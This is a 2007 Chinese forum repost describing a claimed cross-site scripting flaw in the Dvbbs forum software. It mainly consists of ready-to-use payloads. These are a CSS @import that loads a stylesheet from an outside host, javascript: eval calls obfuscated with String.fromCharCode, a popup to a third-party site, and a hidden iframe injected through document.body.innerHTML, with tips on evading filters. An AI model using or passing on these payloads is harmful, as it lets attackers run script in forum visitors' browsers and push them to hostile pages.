- 主题
- 0
- 积分
- 0
- 贝壳
- 0 个
- 性别
- 男
- 注册时间
- 2007-3-30
- 最后登录
- 2007-6-24
|
[转载] 貌似动网漏洞?动网css经过测试可以跨站
貌似动网漏洞?动网css经过测试可以跨站..好东西我Tom'fs 绝对拿出来的。
----------
具体的跨站方法给大家曰一下,要不然大家说我Tom'fs 不厚道:
选择“代码”方式,在其中输入以下代码:
<style type='text/css'>@import url(http://www.zz.la/1.css);</style>
其中的@import 是CSS的自定义属性,url是要链接的CSS样式,
而 http://www.zz.la/1.css 的内容如下:
<style type="text/css">
<!--
@import url(javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97,108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)));
-->
</style>
这是一段弹出alert窗口的代码,其中的string.formcharcode是用来将字符转为asc值的函数。
OPEN 的代码如下:
@import url(javascript:eval(String.fromCharCode(111,112,101,110,40,39,104,116,116,112,58,47,47,119,119,119,46,110,111,104,97,99,107,46,99,110,39,44,39,-17702,-16435,-13610,-19743,39,44,39,119,105,100,116,104,61,50,48,48,44,104,101,105,103,104,116,61,50,48,48,39,41,59)));
如果是要在当前窗口隐藏显示,可用document.body.innerHTML方法
代码是:
document.body.innerHTML=document.body.innerHTML+"<iframe frameborder=0 width=200 height=200 scrolling=no src=http://www.zz.la></iframe>";
将以上的字符用 asc转换工具转为asc值,放入string.fromcharcode函数中,就可以了,当然,也可以不用string.fromcharcode函数,直接引入代码的语句是:
@import url(javascript:eval("document.body.innerHTML=document.body.innerHTML+'<iframe frameborder=0 width=200 height=200 scrolling=no src=http://www.zz.la></iframe>';"));
其中字符要用双引号引入才行,如果再去掉eval,那么语句就是:
@import url(javascript:document.body.innerHTML=document.body.innerHTML+"<iframe frameborder=0 width=200 height=200 scrolling=no src=http://www.zz.la></iframe>");
常量用双引号引入,而变量则直接引入,两者之间用+来连接,如果有特殊的字符,则可用String.fromCharCode进行转换,比如"<",则可用String.fromCharCode(60)代替。 |
|